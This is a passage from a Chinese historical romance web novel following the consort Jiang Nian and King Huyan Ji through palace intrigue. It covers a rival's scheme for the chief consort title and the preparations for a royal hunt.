“后来申宫医说,越王也不在王庭,你既是王的婢女,应该伴在王的身边,我一想也是,也就不急了。”云娘在江念脸上看了两眼,一副了然的神情。
江念一面听云娘絮絮说着,一面看向桌案,那上面摆着一本册子,伸手翻了翻,问道:“这是医书?”
“是呢,天天同药材打交道,闲来无事,就拿几本医书看看。”
“云姐姐识字?”
“简单的会些,以前乡里有位老先生,我在他的院子里跟着学过。”云娘用一种玩乐的语气道,“没给束脩,在他院子里偷着学的,他没赶我。”
这整个宫里,江念还是最喜欢同云娘说话,兴许是同为梁国人的原因。
这边二人说着话,另一边刚才那名宫婢在阿星面前,低声下气道:“阿星姐,你得替我在梁妃殿下面前说说话,万莫同我这奴才计较,刚才真是不知道她来。”
说着,从腰间掏出一个荷包,塞到阿星手里:“一点小意思,姐姐收下。”
阿星睨着那荷包,退了回去,嘴角扬起一抹得意:“我能看上你这钱?行了!梁妃不是那般小气的人,怎会同你一个婢子计较,以后注意就是了。”
她可看不上那点子钱,不过药局婢子的态度让她很受用,有些飘飘然。以前她在大膳房里都是看别人的眼色,如今走到哪里别人不叫她一声阿星姐?
这份尊贵可是拿钱换不来的。
阿星见时候不早了,走回江念身边:“主子,天色有些晚了。”
江念本想同云娘多说几句话,被阿星一提醒,也就算了,遂起身作别离开。
呼延吉坐在外殿的椅凳上,对木雅吩咐道:“你再去前面看看。”
这已是大王第三次让她出殿探看梁妃有无归来。
木雅应诺而去,才出正殿门,就远远看见江念缓缓朝这边走来。于是回身报知于大王。
江念进了西殿,外殿的殿柱上已经点上了烛火,将整个西殿照得黄澄澄的,木雅上前从阿星手里迎过江念,笑道:“膳房已备下了饭菜,大王让摆在寝屋。”
江念点了点头,随木雅往寝屋走去。
阿星落后一步,随在她们身后,虽说她现在才是江念的贴身侍婢,不过在木雅面前,她还是不敢拿大。
江念一进寝屋就见呼延吉歪坐在毡毯上,桌案上已摆好饭菜,他却并不动筷,而是一杯接一杯地喝着酒。
“你们下去罢。”
木雅得江念吩咐,带着阿星退下。
江念踢鞋,走上毡毯,坐到他的对面,见他面色有些沉郁,猜测他今日一定是去了祥云殿。
这么一想,便起身走到他的身后,跪坐下,说道:“大王累不累?妾给你松乏松乏肩?”
呼延吉不语,倒了一杯酒递向身后,让她喝。
江念就着他的手喝了,他便拉她坐到他身前,说道:“以后祥云殿不必去了,你在王庭尽可自在,不必受任何人的拘束。”
他说让她再不必去祥云殿,那便是不用去了,可他的神情并不轻松,心里一定是烦闷的。
江念缓缓抬起手,用指尖揉了揉他紧蹙的眉心:“大王,你可太操心了,这样会不会老得快?”
呼延吉将她往怀里拢了拢,眉心松开,笑道:“老得快好啊,同你也般配。”
江念一听,气嗔道:“这是嫌我老呢!”
呼延吉把江念的身子扳正,在她脸上认真地睃了几眼:“阿姐马上二十六岁了?”
江念
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搭在呼延吉身上的手紧了紧,点了点头:“是不是不再青春了?”
“什么青春不青春的,再好的青春我也不稀罕,青春我自己又不是没有,你只做好一件事就成。”
“什么事?”江念问道。
呼延吉将她耳边的碎发挽到耳后,然后附在她的耳边:“把身子养好,以后咱们还要有自己的孩儿……”
江念一听,先是怔了怔,两眼一热,强忍着不让泪水滚落,就那么含在眼眶里,莹莹的一汪。
对她来说,本不指望今生还能生子的,她选择了呼延吉,把这条路上不好的事都想过,料想他以后可能还会立大妃,料想她不能怀上他的孩子,所有的不好,她皆想过。
但这是她自己选择的路,没什么可懊丧的。
因为没有孩子依傍,待年老后,她作为梁国人在王庭的日子并不会好过。
她唯愿自己走在呼延吉前面,起码他能给她一口薄棺,一个像样的坟包,这也是她唯一庆幸自己大他五岁的地方。
总该是她走在他的前面罢,他给她扶棺。
他现在告诉她,他们以后会有孩儿,这句话意味着什么,江念可太清楚了,呼延吉曾说过,要么他不应,只要是他应下的事,一定会办到,他从不空口白话向她承诺。
可她还是下意识地问了:“真的?”
呼延吉咧嘴一笑,看了一眼桌上的酒杯:“还不伶俐些?”
江念抿嘴儿笑,转身执起酒壶,倒了一杯酒,递向呼延吉,呼延吉笑着摇头,这要放在别的女人身上,多半会小意地把酒递到男人嘴边。
呼延吉接过酒杯,刚才喝的酒是苦闷的,然而这一杯却很痛快,只要同她说上几句,那些烦心就都散了。
她在他的身边,他们像平凡夫妻一样,吃着饭食,喝着小酒,还有什么值得烦忧的?就算有,那也是可以迈过去的小坎。
“阿姐,你的福气在后头。”呼延吉说道。
那日,他见她跪在阔大的祥云殿中,那么大的殿宇,连奴才们都站着,她却安安静静地跪在那里。
就那么直挺挺地跪着,他已是受不了,他不敢想,若他以后立别的女人为大妃,她岂不是要向别的女子下跪?
后来他一再思量,他连江念跪圣太后都忍不了,更何况让江念向其他人行跪礼,可若免除她的跪礼,又坏了规矩,这样也不好,所以,最简单的办法就是让别人跪她。
呼延吉想到自己的兄长,为了让他回夷越,兄长拼尽自己的所有。那么他现在也有要守护的人,他亦会拼尽所有。
江念坐回他的对面,用公筷替他布茶:“我的什么福气?”
“待我将所有的麻烦一个一个解决,福气就来了。”
江念看向呼延吉,认真说道:“若是碰上烦郁之事,王可以同我说说,妾虽帮不上什么忙,说出来心里也好受些不是?”
呼延吉点了点头,并未将这话放心上,因为他所烦之事皆为朝政,同她说了也是无益。
现在的他是这样想的,然而江念总能出其不意地给他欣喜……
第126章 卿卿……
两人一面用着饭,一面说着话,江念谈起自己制香,一说起香,她便有许多话说,其实呼延吉也听不懂,觉得没多大意思,除了江念身上的那一味不同,感觉每种香味都差不多。
不过,每每她说的时候,他总会听着,不时点头给予回应。
若江念兀地问他“是不是?”,他总回答“是”。
若江念再问“对不对?”,他就回答“对”。
这样总是没出过错,只要不让他发表意见就好。不过也有那么几次,她问他的看法,他便思忖片刻,给出一个广泛的建议,让她相信自己,遵从自己的想法。
可这种广泛的建议用两三次还行,再用就有敷衍的意味,好巧不巧,江念又开始问他,问完便期待地望着他。
呼延吉苦思片刻,突然想起一事,岔开话头:“差点把这事给忘了,正要同你说。”
“什么事?”江念给自己的翠色琉璃盏倒了一杯梅饮,端起来慢慢地喝了一口。
“下个月,会在嶂山脚下举行皇家狩猎,你同我一道出席。”
“狩猎?”
以前梁国也有皇家狩猎,她作为江家之女自然被邀在列,不过没多大意趣,无非就是各家儿郎比骑射,比谁狩猎的多。
女儿家便着意打扮一番,然后在围场边的搭篷内坐着,相互间走动,说说话,吃些果品,再无形中攀比衣衫、头饰。
呼延吉自然看出她在想什么,有些自得地说道:“我夷越同你们梁国不一样,你们那小打小闹的,儿戏一般,算什么狩猎。”
“怎么不同?”江念有些不信。
“梁国猎场皆是鹿、獐、兔这类小兽,从未见过虎狼等凶兽,你可见过?”
江念叹声一笑:“自然没有了,行猎前,禁军清过场,怎能放这些凶兽进场呢?”说完,会过意来,问道,“大王的意思是,夷越的皇家狩猎场不驱凶兽?”
呼延吉笑道:“猎得就是它们。”
江念一想,这倒有些看头,她还未见过虎兽,从前只在书上看过。
“不仅如此,还有……”呼延吉说一半留一半,等着江念问他。
“还有什么?”
“在夷越女子也可狩猎。”
江念把眼一睁,问道:“女子也能狩猎?”
呼延吉点点头:“女子不仅能在猎场骑射,还可组队比试,你不是也会骑射么,可借机耍玩一番。”
江念听了,霍地起身,一言不发地往寝屋外走去,不知要做什么,走到门首,嘴里嘟囔了一句“还是明日再说”,又坐回。
“大王该早些同我说,这会儿也不知道来不来得及?”江念埋怨道。
“什么来不来得及?”
“我没有骑装,不得让尚衣局给我备几套?”江念听说女子可以狩猎,首先想的就是她的衣装配饰,一定要精美。
“册妃之时,不论是常服还是朝服又或是狩猎骑装,各类都该备的有,怎会没有?”
江念轻描淡写道:“我觉着不好看,想要再做几套。”
呼延吉了然,狩猎不狩猎不重要,重要的是衣衫要好看,人要美。
夜色渐浓,纱帐下自然又是一番枕上缠绵,莺声款软。
男人胸前后背,汗渍细细,呼延吉将江念翻过身,让她趴伏着,自己伏压下去,在她耳边低声道:“你叫我一声,怎的了?”
江念却怎样都不叫,还是为着那一声“夫君。”
虽说两人已是最亲密之人,可那一声就是卡在喉咙里,叫不出来,有一次,她趁呼延吉不在,将宫人支开,一个人坐在那里先是深深吸口气,然后张开嘴,愣愣地又闭上。
活像有人掐着她的脖子。
终于,她小小地叫了声,自己倒又受不了,揉了揉脸,浑身都不舒适,一身细毛立起,在此之后,更加开不了口。
她还是习惯称他大王或是王。
呼延吉将女人微微汗湿的发丝扒开,很是大胆地在她耳畔叫了一声“卿卿……”
心意几交横,身下之人被叫得又羞又怯,两人本就合在一处,哪里受得住,呼延吉再不逗她,搏弄着结束了这场云雨。
叫了水来,清洗一番,相拥睡去。
这日,殿里来了两位不速之客,正是朵氏和朵妲儿。
江念对朵氏没好印象,不过面上并不显露,让宫婢沏茶,上茶点。
“这几日怎的不见梁妃去太后那里请安?”朵氏问道。
江念淡淡说道:“前些时日身上不好,怕将病气过给太后老人家,这才好一些。”
虽说呼延吉让她不用去祥云殿问安,可也不兴拿到台面上说,总不能说,大王免了我向圣太后问安,叫旁人听了,嘴上不说什么,心里指不定怎样想。
呼延吉心疼她,她却不能叫他难做,高太后是他的生母,她是他的妻,只要共住王庭,总不能真的老死不相往来,过些时日,她还得往祥云殿走走。
朵妲儿趁两人说话的间隙看了一眼四围,并不言语。
江念见她今日同之前在圣太后面前是两个样子,在圣太后面前,伶俐中透着点点娇憨,言语得趣,而现在却不怎么说话,整个人的神情都是淡淡的,完全变了个人。
江念陪她二人坐在外殿,三人就这么静静地坐着,茶水喝了小半盏,突然响起朵妲儿的声音。
“梁妃母家原是梁国高门罢?”
江念拿茶盏的手一顿,“嗯”着算是回应了一声。
“江家……倒是可惜了,原是那样的人家,却在一夜之间倾覆。”朵妲儿轻松地笑了笑,继而道,“江姐姐作为高门之后一定很是出色。”
江念只是客气地笑着,并不接话。
朵妲儿又道:“下个月,江姐姐会去嶂山狩猎罢?”
“怎么不去,我倒很好奇夷越狩猎。”江念回道。
正说着,呼延吉回了。
众人见了忙起身行礼。
呼延吉让众人免礼,先看了一眼江念,再看向对面的朵氏姐妹,笑道:“今儿是什么好日子,约着到我这里来?”
朵妲儿一改刚才淡淡的表情,笑道:“我们正同江姐姐说下月的狩猎大会。”
“我记得你的骑术很不错。”呼延吉说道。
朵氏从旁插话道:“可不是呢,这丫头从小野着,别家女子都喜欢胭脂水粉、珠钗华服
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,她却作男儿打扮,作男儿打扮不说,还偷跑出去跟人赛马,最后竟让她得了头筹,若不是熟人识出她来,转头告诉家里人,咱们都不知道她胆子这般肥。”
夷越京都的赛马场,皆是私人举办,观众给参赛人下注,带有**性质,看最后谁能胜出。
拔得头筹的参赛人可获得丰厚的奖励。
赛事虽说没限制男女,可这类赛事根本不是女子可参与的,不出事则已,一旦出事,非死即残。
女儿家们皆喜弄花品茶,看戏听曲儿。
朵妲儿红了红脸,说道:“阿姐怎么连这事也拿出来说。”
“怎的,现在知道羞了?”朵氏捂嘴儿笑。
呼延吉微笑道:“能在赛马场拿头筹,妲姑当真有些本事。”
朵妲儿扬了扬下巴,俏皮道:“妲儿可当不起大王的夸奖,妲儿还想着,等狩猎大会能同大王比一比呢。”
朵氏虚空点了点朵妲儿:“你可真是!才夸你两句,就分不清东南西北了,还想同大王比骑术,也不怕叫人听了笑话。”
说完这话,朵氏看了呼延吉一眼。
在呼延吉看来,朵氏只要老老实实的,他并不会同她过于计较,于是脸上呈出自然的神情。
“我是比不过她的,不过等到狩猎大会,妲姑倒是可同梁妃比一比。”呼延吉说道。
朵妲儿先是一怔,接着看向一直未曾开口的江念:“江姐姐会骑马?”
“只能说不从马背上摔下来。”江念微笑道。
朵妲儿笑了笑:“江姐姐这是谦虚呢,待到狩猎大会,我得见识见识,看看是咱们夷越女子的骑技厉害,还是梁国女子的骑技厉害。”说着转头看向上首的呼延吉,“届时大王可不要偏心才好,这可关乎两国的脸面。”
呼延吉亦笑道:“怎会偏心,不过她骑术没你好,你得让一让才是。”
“看看,我说什么来着,这还没开始比呢,就偏袒上了。”
朵妲儿一语毕,殿内众人笑了起来。
江念侧目看向朵妲儿,若有所思,在呼延吉回来之前,朵妲儿可是另一副做派,这转变当真是手到擒来,随心而变,不过也不奇怪,出自上姓氏族的朵妲儿,怎么可能真的不知世务。
朵氏对着朵妲儿笑说着:“你放心,大王逗你呢,依我看呐,梁妃的骑术指定比你要厉害,这下你可算遇上对手了。”
朵妲儿听了,嘴角虽仍是笑着,可脸腮却僵了一下,不过是一个很微小的表情,没人注意,偏江念正看着她,自然把她这一细小的表情看在眼里。
江念微笑道:“我那骑术在妲儿妹妹面前当不得什么。”
“江姐姐就别谦虚了,你这一谦虚,妲儿可就当真了。”女子说着露出小小的得意,偏不让人生厌,反倒觉着有趣。
不过几句你来我往的话语,三个女人心思百转。
朵妲儿又转头对呼延吉说道:“妲儿今日趁这个便,得向大王讨句话。”
“什么,只管说来。”呼延吉心情不错。
“围猎比试,若妲儿夺了第一,大王可不可以应妲儿一个请求?当是奖励了……”
第127章 大妃之位
众人谈起一个月之后的嶂山狩猎。
朵妲儿对呼延吉说,若她那日在狩猎场得了第一,想让他应她一个请求。
呼延吉笑道:“你若得了第一名,赛后自有奖励。”
“那些东西我不稀罕,妲儿只要大王应我一个请求。”
“你这是还没开始就要彩头,我现在若应了你,办不到又该如何,还是不应得好。”
朵妲儿噗嗤一笑:“大王怎的这样,忒小气了些。”说着一双眼溜转向对面的江念,“若是江姐姐问你要请求,大王也这般推脱?”
呼延吉嘴角挂着笑,并不言语。
朵妲儿起身走到江念身边:“江姐姐,要不您替我求一求?”
江念微笑道:“妲儿妹妹高看我了,大王的性格你是知道的,我若开口,他只怕更不会应了。”
江念说罢,其他人跟着笑起来,连对面的朵氏也笑了。
朵妲儿有些懊恼,忽然又提起精神道:“大王若应下我这个小小的请求,从前那事就作罢。”落后又补了一句,“不过一个极小的要求,绝不让大王为难,只当是补偿妲儿了,若妲儿的要求过分,大王再拒也不迟,可好?”
呼延吉知她说的是跌入湖塘一事。
朵妲儿那次差点丧命,事后他回想起来,也有些对她不住,想了想,说道:“那也得你拿下第一才成。”
朵妲儿听这话音,欢喜道:“那是自然。”
这时,木雅上前在呼延吉身侧低语了几句,呼延吉起身,江念几人亦跟着起身,恭送他离开。
待呼延吉走后,朵妲儿同朵氏没坐多久,也起身离去,两人出了西殿,也不坐乘辇,就那么慢慢并走着。
朵氏侧目看了眼朵妲儿,状作随口道:“妹妹要大王应你什么请求?”说着又玩笑似的追了一句,“不会是让大王立你为大妃罢?”
朵妲儿嘴角带笑,蓦地停下脚步,看了眼身边的宫人,说道:“你们都退下。”
朵氏的贴身女官莱拉先看向朵氏,见朵氏点头,才带着宫人们退到一边。
朵妲儿向前走几步,走到一个树荫下,朵氏随在她的身后,朵妲儿转过身,面上的表情完全变了,眼中的乖伶和天真褪去,只有沉静和稳握。
“阿姐……”朵妲儿笑了,笑得很是轻飘。
“你笑什么?”朵氏却笑不出,因为她感受到这笑里不加遮掩的嘲讽。
朵妲儿摇了摇头,语调中尽是惋惜,惋惜朵氏的蠢:“从小到大,你依旧没什么长进,让大王立我为大妃?这话你也说得出来,不过也是,是你的行事作风。”
此时的朵氏,已跟不上朵妲儿的话,不仅仅对于她的这番话,还有她的突然转变。
“阿姐,知道父亲为什么让我来王庭?”
朵氏冷声道:“父亲让你进王庭替代我。”
朵妲儿撑不住笑了,从袖中抽出丝帕,拭了拭额上的细汗,一手撑在树上,笑说道:“替代你?你有什么可替代的?一个寡居的王嫂?一个染恙的病秧子?”
女人把头轻轻一歪,看向朵氏,用天真的口吻说着:“知道父亲在我面前怎么说你么?”
朵氏咬着牙,腮颊上的肉因太过用力,颤抖着。
“父亲说,当年毒坏的怕不止是你的身体……”说着,抬起拿帕子的那只手,点了点自己的额穴,“只怕这里也坏了。”朵妲儿不顾朵氏震惊的眼神,继续道,“当年我母亲给你母亲下毒,事后父亲明明查出来,却不处置我母亲,知道为什么。”
“因为你那**娘怀了你这个小**。”
此刻,两人都撕下伪装,然而,撕下伪装的朵氏,只有一片血淋淋的肉,而撕下伪装后的朵妲儿,还有一层让人看不清的东西。
朵妲儿摇了摇头,可怜地看向朵氏,说道:“阿姐,叫我说你什么好,你还是不了解父亲这人,他不杀我母亲,是因为在这场纷争里,你的母亲落败了,落败的人还有什么资格提要求?落败的人只能认活该。”
朵氏立在那里,全身僵硬。
“你也不要恨父亲,要恨就恨你母亲无用,父亲处心积虑让你坐上夷越大妃之位,那么我且问你,你在这中间又起了什么作用?坐在这个位置,却头脑不清地想同君王谈情爱?和这天下任何人都可以谈情,都不要同君王谈情。”
朵氏再也忍不住,激愤道:“你知道什么,大王他根本没打算立五上姓女子为妃……”
不等朵氏说完,朵妲儿厉声将她打断:“那你早该告诉父亲!而不是在东殿被他几句软语骗得失了心,迷了智,归家后,每每父亲问起,你还替他遮掩!那个时候他羽翼未丰,只要父亲联合其他上姓出面,娶不娶哪由他说了算!”
“不是,大王那个时候给我请名医,我身子未好,我需要名医,他待我好,我以为他心里有我……”
朵妲儿鼻腔里哧哧两声笑:“所以,这便是你我之别,你要爱,而我不需要,我只要那个位置,你倒好,替他争取时间,坐观其势成。”
朵氏被她这话提醒,说道:“你不过也是痴人说梦,那个位置谁不想要,大话谁不会说,大王房里如今有了梁女,眼里没有别人,岂是你想坐就能坐的。”
朵妲儿叹着摇了摇头,本不想说下去,不过觉着自己扮了这么些年的乖巧,马上就不用装了,便多了些耐心,解释道:“呼延吉喜欢谁根本不重要,就算他不爱我,照样会娶我,立我为大妃,因为我有他想要的东西。从一开始你就走错了路,你想要得到他的心,而我不同,我无需他的心,无需他的喜爱,从始至终不过是一场利益的互换。”
朵氏怔在当场,一句话也说不出。
朵妲儿走到她的身前,轻松道:“阿姐,你错就错在,忘记自己是朵家人,忘记背后还有父亲,父亲当年既然能让他兄长娶你,如今也能让他娶我。”
“你打算怎么做?”
“不急,你且慢慢看,看我怎样坐上这夷越大妃之位,至于那个梁女……不值得放在心上,一个没有家世可依的蒲柳而已,连子嗣都不会有,只要她老老实实的,我不是容不下她。”
朵妲儿错开朵氏的身,侧目道:“所以你看,呼延吉有什么理由不应,既能得我朵家助力,又能怀抱美人儿……我们这位君王呐,心可深着哩!”
直到这一刻,朵氏迷茫了,同朵妲儿相比,她忽然觉得自己简直蠢直,她自以为是地想要做一个看戏人,看朵妲儿同江念较量,结果呢,一场戏走下来,她甚至不知道人家唱的哪一出。
朵妲儿走的是另一条路,这条路上,她和呼延吉都是执棋人。
朵氏突然感到恐惧
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和无望,甚至生出想要逃离王庭的想法,因为她斗不过这样的朵妲儿,怎么斗得过呢。
朵妲儿很满意朵氏的反应,本不想再说什么,不过她见朵氏这个窝囊样,很是快意,便说了下面一句话。
“再告诉你一件事,我母亲当年**……父亲是知晓的……”
朵氏身子猛地一晃,睛目发花,耳朵里一阵阵嗡鸣。
“大妃……”
“大妃……”
嗡鸣声中有人在叫她,朵氏楞磕磕地转过头,才发现自己已倒在了地上,叫她的人是莱拉。
“快!将大妃扶回东殿。”
莱拉招呼宫人们将朵氏扶上乘辇,又让宫婢去唤宫医。
朵氏回了东殿,躺在榻上,怔怔地没有任何反应,像一具死不瞑目的艳尸,连宫医问她话,也不知道回答。
终于,朵氏转头看向那名年轻的宫医,又看向莱拉,惨白着脸,说道:“叫罗宫医来!我要罗宫医,叫他来,你还愣着做什么,还不快去!”
莱拉微微红了眼,说道:“大妃,罗宫医不在王庭了,他离开了。”
“我不管,你去把他找来,我只要他看治。”朵氏说着,从床头摸过一个器物,照着那宫医甩去,“滚出去!给我滚出去!”
那宫医不防备,被器物砸中了头,虽未破皮,却也实实挨了一下,心中害怕,连连退到一边。
莱拉只得将宫医拉到外间,问了情况,确认朵氏没有大碍,让他开了些调补的药物,送他出去。
朵氏望着头顶的帐幔,眼泪止不住地滚落,没一会儿,枕上就是湿凉凉的一片。
父亲明知朵妲儿之母下毒,却假作不知,是啊,府里有什么事是**的,冷冷地看着这一切的发生,在他眼里,被毒害的一方是蠢笨无用的,朵家不养无用之人。
可纵使她再恨,也从来没想过对付朵妲儿,只因为都姓朵。
到头来,她只是一个傻子,所有人都在利用她,都在利用她……
没有一个人真心待她,除了他……
莱拉走了进来,恭声道:“大妃,汤药煎煮好了,起来先把药喝了罢?”见朵氏没有反应,莱拉便试探着将她扶起,又在她的腰后塞上引枕,
莱拉从宫婢手里接过汤药,用匙舀了舀,待稍稍凉一些,往朵氏嘴边送去。
朵氏张开嘴,将那药抿了一口,莱拉正待欣喜,心道,大妃愿喝汤药就行,喝了药,再歇一歇就好,正想着,“啪——”的一声,手里的药碗已飞了出去,砸在地面,连同汤药碎泼了一地。
“我不喝这个药,把那个药拿来我喝。”朵氏命令道。
“大妃,那个药无须喝了。”莱拉知道她说的是罗宫医从前调配的汤药,可那汤药里含有睡兰,喝多了总归不好。
“我让你拿来就拿来,现在连你也看不起我,不听我的令了,是不是?!”
莱拉暗暗叹了一口气,只得朝外吩咐宫人,重新煎药。
她不知道刚才妲姑同大妃说了什么,只见她靠近说了一句,大妃便倒了,而妲姑没事人一样,坐上步辇离开。
……
之后,江念仍是去了祥云殿,高太后倒没再为难她,偶尔会朝她瞥一眼,依旧是朵妲儿在她旁边凑趣儿,两人其乐融融的倒像亲母女一般。
一个月后,临近嶂山狩猎……
第128章 她的在意
每两年,夷越便会在嶂山脚下举行皇家狩猎。狩猎之前,王庭亲卫提前清场,设木栅圈围,将野兽赶至圈内。
狩猎头一日,王室、五上姓、各大世家还有大臣们随君王举行祭天、祭山仪式,由内侍司主持献牲祈福。
此时的夷越京都格外热闹,那些驻外的各大簪缨世家,还有受邀的外派大臣们,皆携着家眷齐齐赶往京都,这些**多在京都也有宅子。
街道随处见到香车簇簇、衣着鲜亮的豪仆,还有骑着高头大马的世家子弟打街而过。
这一况景,虽在京都也是常见,不过近日格外繁多起来,很有一股新气。
狩猎大会这日,呼延吉难得不用早朝,前一日,已率众臣行过祭拜之仪,是以,今日嶂山的狩猎场,他不用去得太早,自有多个部司主持。
不过因每日习惯起早,到了时候,也就睡不着了,醒来时,就觉着口舌发燥,披了一件月白色的软衫,起身下榻,走到桌案边,本想给自己倒盏凉茶,又因嘴里发苦,换成了梅子饮,喝了一口。
嫌弃味道不够好,走到门首,招了招手,让守值宫婢换一壶来,还要用冰湃一湃。
外面的天还未亮,半敞的窗隙看去,还是墨黑一片,天虽未亮,却有凉凉的晨风吹来,吹在人的身上,很舒爽。
呼延吉转过头,床帐在风动中微微鼓起,露出里面的人,还睡得很熟,不见一点醒来的迹象。
宫婢用托盘端来冰梅饮,就见大王眼往桌案一睇,信手一摆,宫婢明了,轻着手脚将托盘放于桌案,又很是小心地退出了殿外应候。
呼延吉重给自己倒了一杯冰梅饮,凉津津的,从舌尖滑过喉,冰着下去,他自己的这一杯饮完,又倒了一杯,走到床榻边,将杯盏放到床头案上。
揭开床帘,坐了进去。
江念面朝外,背朝里地侧卧着,一只手放在枕上,一只手搁在他睡过的位置,仍是闭着眼,因侧面压在枕间,腮上的肉挤在一处,一张唇本就丰盈,这会儿看着更圆了,有些奇异地好笑。
薄薄的衾被压在她的两腿间,宽大的裤腿跑到腿弯上,露出一截莹白玲珑的小腿,身上的小衣松松系着,露出一片华泽的肩头。
呼延吉这么看着,手就抚了上去,江念同呼延吉同榻,除开头几日有些不惯,落后睡得都很香沉,不过也不至于腿上异样而醒不过来,迷蒙蒙地睁开眼,就见呼延吉盘坐在她的身侧。
“什么时候了?”江念问道。
“还早着,天还没亮。”说着,呼延吉探手到帐外,拿过那杯冰梅饮:“要喝么?”
江念仍是有些懵然,怔怔地看着那杯子,然后欠起身,就着呼延吉的手抿了一口,觉着好喝,又多喝了几口,喝过后又懒懒地躺下,头往枕上蹭了蹭。
“我还想睡呢。”
“那便再睡一会儿,我陪你。”
呼延吉躺了过去,她也就乖顺得依到他的怀里睡了过去,转而又猛然睁开眼,从呼延吉的怀里往后退了退,望向他。
“今儿是不是要去嶂山狩猎?”她像是才想起这一茬。
呼延吉“唔”了一声。
江念一咕噜从床上坐起,扒了扒碍事的头发,然后爬过呼延吉,下了床榻,连鞋也不穿,赤脚踩在软毯上,朝外叫了一声,让人进来伺候。
秋月同阿星带了几个宫婢进来。
因今日要去嶂山狩猎,这还是她第一次随呼延吉出现在众人面前,自然要好生装扮一番,不能让人低看了。
秋月叫宫婢们从柜中取出几套新做的骑装,拿到江念面前一字排开。
“主子要穿哪一件?”
江念看了一眼,指向最右边猩红色滚金边的一件:“穿这件红色的。”
这个颜色她很喜欢,张扬且年轻,她同他站一起,总还是想着穿得活泼一点的好,和他也般配。
人有时候便是这样,不知不觉喜欢上一个人,心里无时无刻不是向那人靠拢。
呼延吉靠坐在床头,透过纱帐自然把一切都看在眼里,说了一句:“换个颜色罢,这件不适合。”
江念本是笑着的,那笑僵了一僵,很快遮掩过去,愣了一会儿,指向另一件翠墨银边的。
“这件罢。”
秋月让宫婢们开始给江念更衣,阿星想上前,却又插不上手,她以前在膳房做活,从教**司出来,没做过伺候人的体贴活计,便差了不止一头。
江念自然清楚这一点,所以从不吩咐阿星做什么,平日只让她跟在身侧端茶递水,再就是传话之类的单一事务。
秋月不同,她是安家拔尖选出的,又经过特意地调教,不论能力还是品性都不一般,用江念的眼光看,比之那些世家大族的一等丫头也不差什么。
她才进王庭不久,便通晓这里的规矩,同一众宫婢关系处得也不错,兰卓和木雅若有事,手上空不出,第一想到的就是交予她差办。
而秋月不喜阿星,平时也不愿意搭理她,秋月有些死心眼,觉着做仆人的首先要对主子忠诚,把主子放在第一位,显然阿星不具备这一点,那个时候,大王都将她带到主子身边,最后她却选择离开。
这一点让她很看不上眼,自然对阿星就有些冷脸。
而阿星在秋月面前,仗着自己先认识江念,还曾共宿一屋,对江念有过帮助,就觉着自己比别人不同。
她见秋月在江念面前统揽事务,而自己只能呆站在一边,完全插不上手,就有些吃味。
平时,江念见阿星立在那里,就会让她去煮茶或是把钗環首饰擦拭一遍,让她手里有活,偏今日江念心里藏了事,因着呼延吉刚才那一声“不合适”,不得不把鲜亮的猩红换成暗沉的翠墨。
以前他说什么,她从来没这样在意过,怎么现在对他的话这样敏感,江念暂不去想,坐到妆台边,秋月等宫婢开始给她
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上妆,绾发。
呼延吉这时也起了,并未注意到江念脸色的变化,再加上他一男子,哪里懂女儿家的细小心思。
“你过来。”
阿星本是垂着头,突然听到一个声音,怔怔抬头看去。
“怎的还愣着,过来伺候我更衣。”呼延吉有些不悦,心道,这丫头怎么有些呆笨。
阿星一下就慌了,一颗心跳得又急又快,有些欣喜又有些紧张。
江念从镜子里见了,知道呼延吉那脾气,又是个刁钻的主儿,且今日要去嶂山狩猎,上姓、世家还有朝中大臣皆会到场,装扮很有讲究,怕阿星伺候出错被责骂,再看他那眉眼已透出几分不耐,便让宫婢去唤达娃和帕依等人进来。
呼延吉贴身伺候的宫婢们本就在门外侍候着,就等一声吩咐,转眼就进来了,开始伺候君王更衣洗漱。
阿星看了看四周,连珠珠都在江念跟前拿胭脂盒子,她却只能呆站着,一双手紧紧攥起裙摆,心底生起一丝怨恼,她本可以伺候大王,这样好的机会,江念为何拦着不让。
呼延吉虽比江念晚起,却比她先准备妥当。
江念透过镜子,斜看向镜中的呼延吉,一头微鬈的栗发松松地编成一股,歪在身前,柔蓝色的圆领袍,裁剪得恰到好处,衣衩开得很高,露出衣摆下颀长的双腿,腰间束上白玉带,越发衬得身姿丰迥。
平时,他身上总有很多装饰,今日倒是素净,头上也不勒珠石抹额,只在左耳坠一弯玄月。
秋月将江念的头发束起,从额前左右各挑出几绺贴着头皮编成细辫,再在小辫上,簪上小银箍,最后将细辫归于脑后,剩余的头发分成好几股,开始编起来。
秋月的手很巧,不仅巧,装扮上也很合江念的心意。
她给江念编辫子从不会太紧,一面辫一面将辫子扯得蓬松,看起来没那么紧实死板。
江念的发丝很浓密,一条长长的粗辫,就那么垂在身后,面上轻施脂粉,露出一张腻白融光的脸儿。
身上穿着一件翠墨色的劲装,下着一条月白色的束脚裤,裤腿束在荷色香靴内,整个人看起来既俏丽又丰秀。
呼延吉看了喜欢,不免有些移不开眼。
帝王金辇按规矩,江念是没资格坐的,只有大妃才可与君王同坐,不过呼延吉就是让她坐了。
帝王出行,自有君王该有的仪仗,前有城中禁军开道,中间亲卫环护,后有大批宫人骑马随行,金辇出了王庭大门,往嶂山行去。
江念本为着早上那点事有些郁郁,脑子里纷纷杂杂。
呼延吉不让她穿红色,是不是觉着她穿朝气的颜色不合当?还是说,他没那层意思,只是他个人单单不喜红色?
本是一件小事,这要放在以前,当下她就反口问开了,如今不知怎的,反而多思多虑,患得患失起来,这种变化不知从何时起的,很是在意他看向她的目光……
第129章 放松些
不过当江念坐上金辇后,很快将此事抛在了脑后。
因为眼前的景象让她的虚荣压过了刚才的不快,一出王庭大门,街道两边挤满了百姓。
而她坐在金辇上,高高地向下睨着他们。
往年,君王乘辇去嶂山围猎,万姓迎在路边观君王仪仗出行,对夷越百姓来说,能瞻仰君主英秀神武之姿,是一种荣光。
而今次,他们更多地将目光放在了君王身侧的女子身上。
他们年轻的君王连大妃还未立呢,先就娶了一位梁国女子为妻,虽不是大妃,那地位也不低了。
且君王儿时曾在梁国为质,这就更添了让人遐想的谈资。
他们不需要知道梁女的身份,事实上像他们这些市井小民也不可能知道,他们只需知道,此女是梁国人,少帝曾在梁国为质,那么他们就能得到以下的结论:
梁妃是君王在梁为质时相识的故人,而少帝这么些年一直不娶妻,是为了这位梁女,终于,二人机缘巧合再次重逢,再续前缘。
这是坊间传播最广的一种说法。
江念透过纱帐,向下看着路边拥挤的百姓,没有迎跪,没有垂首,一个个正踮着脚,探长脖子,望向她这边,还有小孩儿被自家大人举起,架坐到父亲的脖子上,个个脸上带着好奇兴味的神情却又不失对上位者的恭敬姿态。
